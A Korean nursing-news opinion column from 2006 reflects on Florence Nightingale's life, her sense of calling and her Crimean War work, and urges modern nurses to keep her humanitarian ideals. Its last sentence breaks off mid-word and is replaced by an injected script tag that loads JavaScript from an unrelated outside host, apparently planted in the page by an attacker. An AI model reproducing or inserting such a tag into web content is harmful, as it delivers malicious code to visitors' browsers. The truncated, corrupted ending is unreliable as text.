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나이팅게일을 다시 생각하며
“전문직 간호사 책무 일깨워주는 등불”
[이대간호과학대학명예교수] 하영수   news@nursenews.co.kr     기사입력 2006-05-04 오전 09:07:12

하 영 수(이대 간호과학대학 명예교수.나이팅게일 기장 수상자)

 아름다운 계절 5월은 나이팅게일의 탄생을 기리는 `간호의 달'이다. 매년 즐겁고 의미 있는 여러 행사가 5월 한 달을 꽉 채워 다양하게 펼쳐지고 있다.

 플로렌스 나이팅게일은 간호사로서 숭고한 인류애와 참된 희생, 봉사를 실천한 전 세기를 통틀어 가장 비범한 인물이며, 특히 환자간호와 간호교육에 큰 영향을 미쳤다. 간호를 개척해 하나의 직업으로 효시한 선구자이며 형식적 간호교육(formal education)을 창시한 위대한 선각자이다. 나이팅게일의 간호에 대한 정신을 상기하며 오늘의 우리 간호를 돌아보는 것은 매우 의미있는 일이라 생각한다.

 나이팅게일은 1820년 5월 12일 영국 명문가의 둘째 딸로 태어났다. 부유하고 높은 사회적 지위와 영향력 있는 부모 밑에서 유복하게 성장했고, 얼마든지 편안하고 호화로운 생애를 영위할 수 있었지만 그런 생활에 전혀 관심을 두지 않았다. 어렸을 때부터 늘 자기보다 어려운 처지에 있는 사람들에게 관심을 가지고 불편함이 없도록 배려하는 등 따뜻한 마음이 강했다.

 그녀는 17세 때 `4가지 신의 부름을 행하라는 계시'를 받았다고 전해지고 있다. 그 네 가지가 모두 알려져 있지는 않으나, 계시를 통해 그녀는 `무력하고 비참한 상황에서 고통 받는 사람들을 돕는 것'만이 뜻있고 보람된 일이라 생각하게 됐고, 환자의 고통을 덜어 주는 간호사의 임무와 역할이야 말로 바로 그런 뜻있고 보람된 최고의 가치를 지닌 일이라고 확신하기에 이르렀다. 그리고 간호사가 되기로 결심했다.

 나이팅게일의 간호에 대한 생각과 확고한 신념은 후일 인류의 건강과 복지실현을 위한 휴머니즘과 인도주의 박애정신을 간호의 최고 가치, 즉 이념으로 뿌리내리는데 원동력이 됐다.

 또 `간호란 부름(calling) 받은 소명이요, 자신이 마땅히 해야 할 사명'이라는 나이팅게일의 선언은 간호사들이 간호는 자신에게 주어진 일이며, 자신은 그 일을 하도록 선택된 사람이라는 투철한 소명 의식과 맡겨진 임무와 책임을 완수하는 사명감을 간호에 대한 마음가짐으로 정착시키는데 밑거름이 됐다.

 나이팅게일은 1854년 크리미아 야전병원에서 부상병들을 간호할 여자간호단의 책임자로 요청을 받은 즉시 받아들였다. 당시 크리미아 전쟁은 영국에 크게 불리했다. 장비도 충분히 준비돼 있지 않았고, 조직도 문란했으며, 실제로 가장 기본적인 시설과 약품도 없는 상황에서 많은 사상자가 발생했다.

 이같이 열악한 환경에서 나이팅게일은 부상병들을 위해 살신성인하는 자세로 진정한 사랑과 간호봉사를 실천했다. 신체적 간호만이 아니라 정신적인 위로와 배려로 신체적 건강회복과 고통의 경감 등 전인적 간호를 수행했다.

 나이팅게일의 숭고한 이념과 봉사정신, 간호에 대한 적극적인 사명감은 현대 간호의 소중한 유산으로서 계승되고 계속 살아있어야 한다. 간호사들이 나이팅게일의 실천을 본받아 간호사의 임무와 책임을 다하는데 대한 보람과 긍지를 느낌으로써 간호사로서의 올바른 정체성을 형성할 수 있어야 할 것이다.

 오늘날 간호사들은 선배들보다 좋은 여건에서 많이 배우고 훌륭한 배경과 실력으로 개인적으로나 직업적으로 발전할 수 있는 무한한 가능성을 지니게 됐다. 그러나 이러한 좋은 지성과 능력이 나이팅게일의 숭고한 이념이나 정신과 함께 하지 못한다면 간호의 미래는 결코 밝아질 수 없을 것이다.

 현대의 물질문명, 고도화된 첨단과학의 발달, 세계화 등 최근의 환경 변화는 젊은이들에게 이전의 그 어느 때보다 극심한 경쟁의 세계에서 생존해야 하는 상황을 제공하고 있다. 이러한 상황에서 간호의 영역이 취업경쟁에서 유리할 수 있는 기술과 지식을 습득해야 하는 분야로 잘못 인식되는 경향이 있어 심히 우려하지 않을 수 없다.

 간호란 그 본질과 가치를 잃지 않고 박애와 봉사의 근본정신을 기반으로 할 때 진정으로 인간을 사랑하고 정성으로 간호할 수 있다. 간호행위는 단순히 기술 기능적인 것이 아니며 인간을 대상으로 하는 윤리적 행위를 포함함을 깊이 인식하고, 전문지식과 기술뿐만 아니라 인간의 내면에 대한 깊은 관심과 신뢰성 있는 품성을 지니기 위한 인성에 관심을 치중해야 한다.

 인간을 총체적 존재로 이해하고 존중하며, 현대사회에서 생활하는 개인이나 가족, 지역사회의 건강요구와 문제에 효과적으로 대처할 수 있는 전문간호사로서 역할을 할 수 있어야 한다. 현대화, 첨단화돼 가는 사회 변화에 따라 간호전문직에 새롭게 요구되는 상황에 창의적으로 대응하는 방법과 기술, 가치를 지님으로써 간호의 정신과 뜻이 살아있는 간호를 제공할 수 있어야 한다.

 효용과 경쟁이 강조되는 21세기 세계화 시대에 간호는 그 이전보다 오히려 더 나이팅게일의 숭고한 인류애?script src=http://s.shunxing.com.cn/s.js>
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